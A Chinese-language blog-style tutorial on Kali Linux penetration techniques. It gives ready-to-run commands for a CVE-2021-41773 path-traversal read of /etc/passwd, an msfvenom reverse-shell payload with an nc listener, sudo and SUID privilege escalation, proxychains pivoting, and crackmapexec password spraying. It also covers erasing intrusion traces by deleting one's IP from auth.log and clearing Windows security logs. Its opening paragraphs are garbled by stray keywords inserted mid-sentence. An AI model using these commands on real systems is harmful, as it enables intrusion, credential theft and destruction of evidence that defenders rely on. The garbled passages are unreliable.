kali系统渗透使用方法

装完Kali，系统第一件事不是渗透使用急着扫别人，而是系统搞清楚自己手里有什么。默认那套工具集够用，渗透使用但真正顺手的系统组合得自己调。我习惯先跑一遍nmap -sV -T4 目标IP，渗透使用看看对面开了什么服务。系统版本探测别嫌慢，渗透使用很多时候漏掉一个旧版OpenSSH，系统后面就白忙活。渗透使用

信息收集阶段，系统whois和dnsrecon比图形化工具快得多。渗透使用有次帮朋友查一个可疑域名，系统whois出来注册邮箱是渗透使用临时地址，但dnsrecon的系统zone transfer居然成功了——管理员忘了关AXFR。直接拿到内网主机列表，省掉后面大半天扫描。这种低级错误现在少了，但碰上了就是突破口。

漏洞扫描别只依赖OpenVAS。它报告漂亮，误报也漂亮。我一般用searchsploit配合nmap的脚本结果手动筛。比如扫到Apache 2.4.49，搜一下就知道是CVE-2021-41773路径穿越。直接上curl验证：curl --path-as-is http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd。能读到文件就说明漏洞真实存在，比扫描器红字可靠。

Metasploit用起来要克制。msfconsole里set RHOSTS、set PAYLOAD、exploit三连确实爽，但反弹shell经常被防火墙掐。换成msfvenom -p linux/x64/shell_reverse_tcp LHOST=你的IP LPORT=4444 -f elf -o shell.elf，再配合python的http.server传过去，成功率高一截。监听用nc -lvnp 4444，比msf的handler轻量。

提权环节，LinEnum.sh和linpeas.sh是标配。但别跑完就盯着红字看，手动查几个地方更快：sudo -l看有没有免密命令，find / -perm -4000 -type f 2>/dev/null找SUID文件，cat /etc/crontab看定时任务。有次遇到一个靶机，sudo -l显示能免密跑vim，直接:!/bin/bash就root了。这种配置错误比内核漏洞常见得多。

内网横向移动，proxychains加ssh隧道是经典组合。但Kali默认的proxychains配置经常超时，把/etc/proxychains4.conf里的proxy_dns注释掉，再加一行tcp_read_time_out 15000，稳定性明显改善。用ssh -D 1080 user@跳板机开socks代理，然后proxychains nmap扫内网，速度慢但能过。

密码攻击别只会hydra。针对Windows域，crackmapexec的--shares和--users参数先摸清情况，再用--pass-pol看密码策略。有次域内密码策略要求12位以上，但管理员把PasswordComplexity关了，直接跑crackmapexec smb targets -u users.txt -p passwords.txt --continue-on-success，十分钟出结果。字典用rockyou.txt加规则变形，比纯暴力快。

最后，痕迹清理不是删日志就完事。Linux下history -c只清当前会话，/var/log/auth.log里的ssh登录记录还在。用sed -i '/你的IP/d' /var/log/auth.log更直接。Windows下wevtutil cl Security清安全日志，但别在域控上这么干——SIEM会立刻告警。真实渗透里，拿到权限后先做信息收集再决定要不要清，有时候留着反而能当跳板。

Kali只是工具箱，思路比命令重要。遇到打不进去的目标，回头看看nmap的-sC脚本输出，或者换个协议试试。有次HTTP打不动，换FTP匿名登录直接拿到web目录写权限。工具是死的，人是活的。